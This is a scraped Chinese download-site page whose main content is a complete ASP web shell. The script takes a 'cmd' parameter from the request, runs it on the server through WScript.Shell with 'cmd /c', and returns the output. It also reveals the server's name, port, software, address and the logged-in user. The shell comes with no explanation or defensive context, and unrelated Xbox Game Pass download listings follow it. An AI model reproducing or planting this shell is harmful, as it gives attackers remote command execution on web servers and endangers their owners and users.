日期:2024-04-11 17:36:21 来源: IT猫扑网整理
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> <%Response.Write(Request.ServerVariables("server_name"))%>The server's port: <%Response.Write(Request.ServerVariables("server_port"))%>
The server's software: <%Response.Write(Request.ServerVariables("server_software"))%>
The server's local address: <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%>
相关文章
相关下载
xbox game pass云游戏 其他网游54.94 MBv2211.42.1012 安卓版
下载xbox game pass app最新版 其他网游54.94 MBv2211.42.1012 安卓版
下载Xbox Game Pass苹果版 其他游戏101.30 MBv2208.49.801 iPhone最新版
下载xbox game pass beta app 其他网游45.87 MBv2112.73.1210 安卓版
下载xbox game pass for pc 游戏平台3.21 MBv1.0.0.0 官方版
下载网友评论